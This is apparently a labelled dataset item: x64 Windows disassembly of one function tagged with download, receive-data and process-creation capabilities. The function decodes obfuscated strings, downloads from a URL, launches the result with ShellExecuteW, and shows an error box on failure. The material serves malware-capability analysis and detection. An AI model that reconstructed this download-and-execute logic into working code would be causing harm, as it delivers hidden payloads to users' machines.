Function at 0x1400115a5
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
jmp 0x14001f200
push r13
push rbp
push rdi
mov eax, 0x1230
call fcn.140011177
sub rsp, rax
lea r13, [rsp + 0x30]
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
lea rdi, [rsp + 0x30]
mov ecx, 0x330
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140030040]
xor rax, r13
mov qword [rbp + 0x11d8], rax
lea rcx, [0x140037104]
call fcn.140011834
lea rax, [rbp + 0x7b4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x7d4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x7b4]
movzx r8d, byte [rbp + 0x7d4]
movzx edx, byte [rbp + 0x7f4]
lea rcx, [rbp + 0x700]
call fcn.140013cd0
mov rcx, rax
call fcn.140011659
mov qword [rbp + 8], rax
lea rax, [rbp + 0x854]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x874]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x854]
movzx r8d, byte [rbp + 0x874]
movzx edx, byte [rbp + 0x894]
lea rcx, [rbp + 0x820]
call fcn.140013f70
mov rcx, rax
call fcn.140011753
mov qword [rbp + 0x28], rax
lea rax, [rbp + 0x8f4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x914]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x8f4]
movzx r8d, byte [rbp + 0x914]
movzx edx, byte [rbp + 0x934]
lea rcx, [rbp + 0x8c0]
call fcn.140014040
mov rcx, rax
call fcn.1400114ba
mov qword [rbp + 0x48], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 8]
xor ecx, ecx
call fcn.140011780
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jl 0x14001f863
mov edx, 0x108
lea rcx, [rbp + 0x90]
call fcn.1400113ca
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 2
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x90]
call fcn.1400113b1
nop
lea rcx, [rbp + 0x90]
call fcn.1400115c8
movzx eax, al
test eax, eax
je 0x14001f769
lea rax, [rbp + 0x994]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x9b4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x994]
movzx r8d, byte [rbp + 0x9b4]
movzx edx, byte [rbp + 0x9d4]
lea rcx, [rbp + 0x960]
call fcn.140014110
mov rcx, rax
call fcn.1400117c6
mov rdx, rax
lea rcx, [rbp + 0x90]
call fcn.140011429
lea rax, [rbp + 0xa24]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0xa44]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0xa24]
movzx r8d, byte [rbp + 0xa44]
movzx edx, byte [rbp + 0xa64]
lea rcx, [rbp + 0xa00]
call fcn.1400141e0
mov rcx, rax
call fcn.140011136
mov rdx, rax
lea rcx, [rbp + 0x90]
call fcn.140011429
lea rax, [rbp + 0xaf4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0xb14]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0xaf4]
movzx r8d, byte [rbp + 0xb14]
movzx edx, byte [rbp + 0xb34]
lea rcx, [rbp + 0xaa0]
call fcn.140014270
mov rcx, rax
call fcn.14001120d
mov rdx, rax
lea rcx, [rbp + 0x90]
call fcn.140011429
lea rax, [rbp + 0xc14]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0xc34]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0xc14]
movzx r8d, byte [rbp + 0xc34]
movzx edx, byte [rbp + 0xc54]
lea rcx, [rbp + 0xb60]
call fcn.1400143c0
mov rcx, rax
call fcn.1400112c6
mov rdx, rax
lea rcx, [rbp + 0x90]
call fcn.140011429
lea rax, [rbp + 0xcf4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0xd14]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0xcf4]
movzx r8d, byte [rbp + 0xd14]
movzx edx, byte [rbp + 0xd34]
lea rcx, [rbp + 0xc80]
call fcn.1400146b0
mov rcx, rax
call fcn.140011898
mov rdx, rax
lea rcx, [rbp + 0x90]
call fcn.140011429
lea rax, [rbp + 0xe14]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0xe34]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0xe14]
movzx r8d, byte [rbp + 0xe34]
movzx edx, byte [rbp + 0xe54]
lea rcx, [rbp + 0xdf0]
call fcn.140014850
mov rcx, rax
call fcn.140011474
mov rdx, rax
lea rcx, [rbp + 0x90]
call fcn.140011429
mov rdx, qword [rbp + 0x28]
mov rcx, rax
call fcn.140011429
mov qword [rbp + 0x11c8], rax
lea rax, [rbp + 0xd84]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0xda4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0xd84]
movzx r8d, byte [rbp + 0xda4]
movzx edx, byte [rbp + 0xdc4]
lea rcx, [rbp + 0xd60]
call fcn.1400138e0
mov rcx, rax
call fcn.140011393
mov qword [rbp + 0x11d0], rax
mov rdx, qword [rbp + 0x11d0]
mov rcx, qword [rbp + 0x11c8]
call fcn.140011429
lea rax, [rbp + 0xf34]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0xf54]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0xf34]
movzx r8d, byte [rbp + 0xf54]
movzx edx, byte [rbp + 0xf74]
lea rcx, [rbp + 0xf10]
call fcn.140013970
mov rcx, rax
call fcn.140011474
mov rdx, rax
lea rcx, [rbp + 0x90]
call fcn.140011429
mov rdx, qword [rbp + 0x48]
mov rcx, rax
call fcn.140011429
mov qword [rbp + 0x11c8], rax
lea rax, [rbp + 0xea4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0xec4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0xea4]
movzx r8d, byte [rbp + 0xec4]
movzx edx, byte [rbp + 0xee4]
lea rcx, [rbp + 0xe80]
call fcn.140013a00
mov rcx, rax
call fcn.140011393
mov qword [rbp + 0x11d0], rax
mov rdx, qword [rbp + 0x11d0]
mov rcx, qword [rbp + 0x11c8]
call fcn.140011429
lea rcx, [rbp + 0x90]
call fcn.1400110d2
lea rax, [rbp + 0xfc4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0xfe4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0xfc4]
movzx r8d, byte [rbp + 0xfe4]
movzx edx, byte [rbp + 0x1004]
lea rcx, [rbp + 0xfa0]
call fcn.140013a90
mov rcx, rax
call fcn.140011474
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x28]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rax, [rbp + 0x1054]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1074]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x1054]
movzx r8d, byte [rbp + 0x1074]
movzx edx, byte [rbp + 0x1094]
lea rcx, [rbp + 0x1030]
call fcn.140013b20
mov rcx, rax
call fcn.140011474
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x48]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
nop
lea rcx, [rbp + 0x90]
call fcn.14001182a
jmp 0x14001f92f
lea rax, [rbp + 0x10e4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1104]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x10e4]
movzx r8d, byte [rbp + 0x1104]
movzx edx, byte [rbp + 0x1124]
lea rcx, [rbp + 0x10c0]
call fcn.140013c40
mov rcx, rax
call fcn.1400116cc
mov qword [rbp + 0x11c8], rax
lea rax, [rbp + 0x1174]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1194]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x1174]
movzx r8d, byte [rbp + 0x1194]
movzx edx, byte [rbp + 0x11b4]
lea rcx, [rbp + 0x1150]
call fcn.140013bb0
mov rcx, rax
call fcn.14001181b
mov qword [rbp + 0x11d0], rax
mov r9d, 0x10
mov r8, qword [rbp + 0x11c8]
mov rdx, qword [rbp + 0x11d0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x140029f10]
call fcn.1400116c7
mov eax, edi
mov rcx, qword [rbp + 0x11d8]
xor rcx, r13
call fcn.1400113d4
lea rsp, [r13 + 0x1200]
pop rdi
pop rbp
pop r13
ret